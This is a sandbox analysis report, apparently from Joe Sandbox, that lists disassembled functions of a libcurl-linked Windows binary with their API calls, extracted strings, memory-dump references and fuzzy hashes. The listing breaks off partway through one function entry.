Function 0040DEA4 Relevance: 3.0, APIs: 2, Instructions: 43fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCRT ref: 0040DEE9
fwrite.MSVCRT ref: 0040DEF8

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: fwrite
String ID:
API String ID: 3559309478-0
Opcode ID: 7480dec2f84bd7f374fd435ac1967ba1f05354ea3aea86551f716006b55c628e
Instruction ID: 6ecdc4914c221da0050b8da87b2fd24550f975606d4c8a5f3f135382cf90f6c2
Opcode Fuzzy Hash: 7480dec2f84bd7f374fd435ac1967ba1f05354ea3aea86551f716006b55c628e
Instruction Fuzzy Hash: 17F02B72A101197ADB2425A5CC87FC73F6DDB85750F044076FA08DB142E575955A82FC

Function 0040218D Relevance: 2.6, APIs: 2, Instructions: 75COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,00000000), ref: 004021F7

Part of subcall function 004020FC: fclose.MSVCRT ref: 0040216E

memcpy.MSVCRT(?,?,?,?), ref: 00402213

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: memcpy$fclose
String ID:
API String ID: 604654985-0
Opcode ID: 36c7f7c0dfa47bdfb34025f0c09d4a0a7907c99c6dd200899e75900bc1c61f20
Instruction ID: 001d9877c593cbbc7906938496e07b7a1e7090163f570a1fc86d1139ae56490d
Opcode Fuzzy Hash: 36c7f7c0dfa47bdfb34025f0c09d4a0a7907c99c6dd200899e75900bc1c61f20
Instruction Fuzzy Hash: 0321D6B5A001169FDB10CF98C98586BF7B9FF44348B14826AE918A7381D731EC11CBD4

Function 00403EC8 Relevance: 1.6, APIs: 1, Instructions: 145COMMON

Download Yara Rule

APIs

Part of subcall function 00403BB1: curl_maprintf.YX1WZ608PO(%s:%d), ref: 00403BBE

time.MSVCRT(?), ref: 00403F5E

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintftime
String ID:
API String ID: 3105900763-0
Opcode ID: 88b167f5e1910c2a6680bcedf8433a4dbfef3c82278939164a130fd7fe8390fe
Instruction ID: 21a5657027c2026d611e88c9b95874885e728da390f41ba0745d317673731c29
Opcode Fuzzy Hash: 88b167f5e1910c2a6680bcedf8433a4dbfef3c82278939164a130fd7fe8390fe
Instruction Fuzzy Hash: 1441E5B1900205AFEF21AF55CC45BEF7B78EF44318F04012AFE14762D2E3799A55CAA9

Function 0040E715 Relevance: 1.5, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

closesocket.WS2_32(?), ref: 0040E75A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: closesocket
String ID:
API String ID: 2781271927-0
Opcode ID: 03116cc4d5f9aa7c2575442b4535d307e2fccec591185e0fa62aa1919f6e9368
Instruction ID: c753918ea2bf6d26b0a618f8032741474d1f18ef9df5a4598a7614a5a46de83a
Opcode Fuzzy Hash: 03116cc4d5f9aa7c2575442b4535d307e2fccec591185e0fa62aa1919f6e9368
Instruction Fuzzy Hash: 7BF0F9B2900204ABDF14AE66CCC5BE77B58DF04320F48447BEC182B242E3745964C6E5

Function 00401EB4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

curl_global_init.YX1WZ608PO(00000003,?,?,?,?,?,?,?,?,0040C268), ref: 00401EC8

Part of subcall function 00401E02: WSAStartup.WS2_32(00000202,?), ref: 00401E68
Part of subcall function 00401E02: WSACleanup.WS2_32 ref: 00401E8A

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: CleanupStartupcurl_global_init
String ID:
API String ID: 514613558-0
Opcode ID: db3851eb6213093cebdc04791a12f15236a05b89b51f1c14d856ca317aef982b
Instruction ID: 7bcbdd4d20ced4869ff113eddaa4630e5f93c6a64deb74f1a660c149dfe41566
Opcode Fuzzy Hash: db3851eb6213093cebdc04791a12f15236a05b89b51f1c14d856ca317aef982b
Instruction Fuzzy Hash: 72E08661E0020556DB10F6B9D94775E72EC9720304F900172DE00F16D6F67CDF1441DA

Function 0041C078 Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

ioctlsocket.WS2_32(?,8004667E,00000080), ref: 0041C096

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ioctlsocket
String ID:
API String ID: 3577187118-0
Opcode ID: 076924192561d4c5f34aa9e08be1246f0dc50bc324268f2a4696e70d557af9dd
Instruction ID: 4bbd84d2e0b720a7b7252563f8d733002cef7948a2f8d1ef64c2996b8cd3cad8
Opcode Fuzzy Hash: 076924192561d4c5f34aa9e08be1246f0dc50bc324268f2a4696e70d557af9dd
Instruction Fuzzy Hash: 95D0C93580410CFACF00EEA4DD02ACD7AB99B00248F018076A904E2051E6749B65EB95

Function 0040439B Relevance: 1.3, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

calloc.MSVCRT(00000001,00008710,?,?,00000000,00000000,?,00401EE0,0040C268), ref: 004043A9

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: calloc
String ID:
API String ID: 2635317215-0
Opcode ID: 228177734598e0459664466e9e993250b1512cc4cdec2f6ac5e3cfabf14404b0
Instruction ID: 3b1221d9edf6369333b18cfc90d3cc24c956f3351e743b9d24272268430798d0
Opcode Fuzzy Hash: 228177734598e0459664466e9e993250b1512cc4cdec2f6ac5e3cfabf14404b0
Instruction Fuzzy Hash: 3B2151B05007008BEB106F69DC897D63F68FB04365F0845B9EE589F2C7E7B586588FA5

Non-executed Functions

Function 004032F7 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 97stringwindowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00403306
strerror.MSVCRT ref: 0040332C
strncpy.MSVCRT ref: 0040333B
strncpy.MSVCRT ref: 00403352
FormatMessageA.KERNEL32(00001000,00000000,00000000,00000000,?,000000FF,00000000,?), ref: 00403377
curl_msnprintf.YX1WZ608PO(?,000000FF,Unknown error %d (%#x),00000000,00000000), ref: 00403393
strrchr.MSVCRT ref: 004033A7
strrchr.MSVCRT ref: 004033C2
GetLastError.KERNEL32 ref: 004033D9
SetLastError.KERNEL32(?), ref: 004033E9

Strings

error, xrefs: 0040334C
Unknown error %d (%#x), xrefs: 00403388

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: ErrorLast$strncpystrrchr$FormatMessagecurl_msnprintfstrerror
String ID: Unknown error %d (%#x)$error
API String ID: 2530841112-1455711458
Opcode ID: 4009b6c4cae004cc8de0e2c6e728897f1172e6f4c8ecec8b096a045fd1f7ea07
Instruction ID: f00d824a36b8f47a63103e0ed14786ee8ec2d55d9672d25e16736028aa8a0305
Opcode Fuzzy Hash: 4009b6c4cae004cc8de0e2c6e728897f1172e6f4c8ecec8b096a045fd1f7ea07
Instruction Fuzzy Hash: 7321B9B1E4421776E72179356C87BB77E5C5B00705F140076FD05BA2C3EFB8AA4442E9

Function 00407DB5 Relevance: 19.3, APIs: 3, Strings: 7, Instructions: 1799COMMON

Download Yara Rule

Strings

CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!, xrefs: 00409745
ALL, xrefs: 00408E44
SESS, xrefs: 00408E6B
identity, xrefs: 00408A56
Set-Cookie:, xrefs: 00408EEC
0, xrefs: 00409D4E
FLUSH, xrefs: 00408E92

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID:
String ID: 0$ALL$CURLOPT_SSL_VERIFYHOST no longer supports 1 as value!$FLUSH$SESS$Set-Cookie:$identity
API String ID: 0-3778199164
Opcode ID: 3c10ff105ba0367192c1558f29fb1571fddd8851ba74f316d1d0111f0017f29b
Instruction ID: 092aa03501566b385ac3b58d5bf97722552782d5ecf164fd6128c5537fe6a720
Opcode Fuzzy Hash: 3c10ff105ba0367192c1558f29fb1571fddd8851ba74f316d1d0111f0017f29b
Instruction Fuzzy Hash: 46F25170408205DBEB249F14C4887AA77A0BF14304F28097FD899AF3D7D77D5E459BAA

Function 0041D570 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 327COMMON

Download Yara Rule

APIs

_isctype.MSVCRT ref: 0041D5D4
_errno.MSVCRT ref: 0041D645
_errno.MSVCRT ref: 0041D72D
_isctype.MSVCRT ref: 0041D7EA
_isctype.MSVCRT ref: 0041D827
_isctype.MSVCRT ref: 0041D87A

Strings

$, xrefs: 0041D5A0

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: _isctype$_errno
String ID: $
API String ID: 2088544739-3993045852
Opcode ID: a8b1f0d9ac20d66aeb910151b835b5a9d682db1811cdceb073ea8cab72424275
Instruction ID: 1ab4e318e60548f7c27992616736b429961c23faeeedf33f1480aa243edd4c81
Opcode Fuzzy Hash: a8b1f0d9ac20d66aeb910151b835b5a9d682db1811cdceb073ea8cab72424275
Instruction Fuzzy Hash: 86B1F5B5A082118FD714DF28C8807AB77E6AB81354F54056BF865CB391E738DC85CB6A

Function 0040E858 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040E893
GetVersionExA.KERNEL32(?,00000000), ref: 0040E8AF
getsockopt.WS2_32(0040EA13,0000FFFF,00001001,00000000,00000004), ref: 0040E8ED
setsockopt.WS2_32(0040EA13,0000FFFF,00001001,00004020,00000004), ref: 0040E915

Strings

@, xrefs: 0040E863

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: Versiongetsockoptmemsetsetsockopt
String ID: @
API String ID: 4199285556-2726393805
Opcode ID: 8d0a4ab643ca2e71d94ce8aad1f9d467b4d60b492990ba694f197d1ee39e5362
Instruction ID: 1ed563625c8d309a58899ddb26136e01819a5742f689eb8c812159874164c892
Opcode Fuzzy Hash: 8d0a4ab643ca2e71d94ce8aad1f9d467b4d60b492990ba694f197d1ee39e5362
Instruction Fuzzy Hash: 7C1154B1940319BAEB209B51EC46BEB7774AB01309F400465EA04661C5E3B95A9CCBD9

Function 0041C90E Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47encryptionCOMMON

Download Yara Rule

APIs

CryptGetHashParam.ADVAPI32(?,00000002,00000000,00000000,00000000, VA, VA,?,0041CA19), ref: 0041C92D
CryptGetHashParam.ADVAPI32(?,00000002,?,00000000,00000000,?,?,?,?,?,?, VA, VA,?,0041CA19), ref: 0041C949
CryptDestroyHash.ADVAPI32(?,?,?,?,?,00000000,00000000, VA, VA,?,0041CA19), ref: 0041C95C
CryptReleaseContext.ADVAPI32(?,00000000,00000000,00000000,?,00000000,00000000, VA, VA,?,0041CA19), ref: 0041C96F

Strings

VA, xrefs: 0041C911, 0041C912

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID: VA
API String ID: 2110207923-708187174
Opcode ID: 2d27f8ddde399279f1e71568866cad7f80a16710eff7d844985033316e5604df
Instruction ID: 4d1cf0be622cf443ccf01e6bf569ad94af05fabdadd05a98051958133caed8f8
Opcode Fuzzy Hash: 2d27f8ddde399279f1e71568866cad7f80a16710eff7d844985033316e5604df
Instruction Fuzzy Hash: BD01F9B1E40214BAEF206E61AC87FDA7F2CDB00794F008066FD082A1C2D275D9548AA9

Function 0041C998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextA.ADVAPI32(0041C9EE,00000000,00000000,00000001,F0000000, VA,?,0041C9EE, VA,?,00000000,?,?,?,00415620,?), ref: 0041C9AE
CryptCreateHash.ADVAPI32(0041C9EE,00008003,00000000,00000000,0041C9F2,?,?,?,?,?,?, VA,?,0041C9EE, VA), ref: 0041C9CC

Strings

VA, xrefs: 0041C99B

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: Crypt$AcquireContextCreateHash
String ID: VA
API String ID: 1914063823-708187174
Opcode ID: d7989f001f08e108190220a3c50e776c29cfdfa2fa4bd8613e37428fde03d14b
Instruction ID: 44178b231757749cbe0e3923b4f1b06e1174baa566e262aca873bcc9dcbdb4b4
Opcode Fuzzy Hash: d7989f001f08e108190220a3c50e776c29cfdfa2fa4bd8613e37428fde03d14b
Instruction Fuzzy Hash: 1BE04FB1B8030476EB20A525ED83F953A595B14748F100061BF046D1C6E591A65887A9

Function 0041C97D Relevance: 1.5, APIs: 1, Instructions: 11encryptionCOMMON

Download Yara Rule

APIs

CryptHashData.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?,00415620,?), ref: 0041C991

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: CryptDataHash
String ID:
API String ID: 4245837645-0
Opcode ID: b723a60e63c9104a243d728cb6a1f7b07c0ca848c677f88be569c95b60ed41b1
Instruction ID: 78c5f4a24abb9fa395c36b1eddcea52e489806644f6d18d908394001d927fac2
Opcode Fuzzy Hash: b723a60e63c9104a243d728cb6a1f7b07c0ca848c677f88be569c95b60ed41b1
Instruction Fuzzy Hash: 11C08C35100208BBCF01AF94DC03FC93FAAAB04308F008010FE040A0A1C272E4219B90

Function 0041CD18 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a766beae1df23fd66494e27133dec4b4886c5d389d5c696d5a001ad30f976b2
Instruction ID: 435a94f50ab76b3766d87232fbbfbc4d7d49182bdaeaf0fff0efeb63155ff01f
Opcode Fuzzy Hash: 4a766beae1df23fd66494e27133dec4b4886c5d389d5c696d5a001ad30f976b2
Instruction Fuzzy Hash: FF21DA707906026AF321CF19ACD179236B2A341745F94C43AD44A86768D33FDAD6CB6C

Function 00415430 Relevance: 45.9, APIs: 13, Strings: 13, Instructions: 443stringCOMMON

Download Yara Rule

APIs

curl_msnprintf.YX1WZ608PO(?,00000021,%08x%08x%08x%08x,00000000,00000000,?,?), ref: 004155A9
curl_maprintf.YX1WZ608PO(%s:%s:%s,00000000,?,00000000), ref: 004155FF
curl_maprintf.YX1WZ608PO(%s:%s:%s,?,?,00000000), ref: 0041564C
strchr.MSVCRT ref: 0041568F
curl_maprintf.YX1WZ608PO(%s:%.*s,00000000,?,00000000), ref: 004156CB
curl_maprintf.YX1WZ608PO(%s:%s,00000000,d41d8cd98f00b204e9800998ecf8427e,?), ref: 00415702
curl_maprintf.YX1WZ608PO(%s:%s:%08x:%s:%s:%s,?,?,00000000,00000000,?,?), ref: 0041576F
curl_maprintf.YX1WZ608PO(%s:%s:%s,?,?,?), ref: 0041578A
curl_maprintf.YX1WZ608PO(%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=%08x, qop=%s, response="%s",00420724,00000000,?,00000000,?,00000000,00000000,00000000,?,?,?), ref: 00415882
curl_maprintf.YX1WZ608PO(%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s",Proxy-,00000000,?,00000000,?,00000000,?), ref: 004158E5
curl_maprintf.YX1WZ608PO(%s, opaque="%s",?,00405E07,?), ref: 00415927
curl_maprintf.YX1WZ608PO(%s, algorithm="%s",?,?,00000000), ref: 00415965
_mbscpy.MSVCRT(00000000,00420823), ref: 004159C7

Strings

%08x%08x%08x%08x, xrefs: 004155A1
%s:%s:%s, xrefs: 004155FA, 00415647, 00415785
%s, algorithm="%s", xrefs: 00415960
%s:%s, xrefs: 004156FD
%s, opaque="%s", xrefs: 00415922
auth-int, xrefs: 004156E4
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s", xrefs: 004158E0
%s:%.*s, xrefs: 004156C6
Proxy-, xrefs: 00415841, 004158B7, 004158DF
%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=%08x, qop=%s, response="%s", xrefs: 0041587D
d41d8cd98f00b204e9800998ecf8427e, xrefs: 004156F7
%s:%s:%08x:%s:%s:%s, xrefs: 0041576A
auth, xrefs: 00415898

Memory Dump Source

Source File: 00000000.00000002.2936292507.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2936277032.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.000000000041F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000424000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936292507.0000000000427000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936362511.0000000000428000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2936377363.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_Yx1Wz608PO.jbxd

Similarity

API ID: curl_maprintf$_mbscpycurl_msnprintfstrchr
String ID: %08x%08x%08x%08x$%s, algorithm="%s"$%s, opaque="%s"$%s:%.*s$%s:%s$%s:%s:%08x:%s:%s:%s$%s:%s:%s$%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", cnonce="%s", nc=%08x, qop=%s, response="%s"$%sAuthorization: Digest username="%s", realm="%s", nonce="%s", uri="%.*s", response="%s"$Proxy-$auth$auth-int$d41d8cd98f00b204e9800998ecf8427e
API String ID: 1630690713-321588427
Opcode ID: 505ac0d7bc7d0ce6ee594c9556fa4debec0182d11bfb835676169670e62abe9c
Instruction ID: 78d281dff9c1572646d0eac066a263ca972f72b3f10822e3b8db3cad850ff36b
Opcode Fuzzy Hash: 505ac0d7bc7d0ce6ee594c9556fa4debec0182d11bfb835676169670e62abe9c
Instruction Fuzzy Hash: BCF1B170A00615DFEB209F25CC45BEABBB6EF88304F14419AE808A7352D7749DD5CFA5

Function 00404D76 Relevance: 28.3, APIs: 10, Strings: 6, Instructions: 324stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 00404D8C
strchr.MSVCRT ref: 00404E43
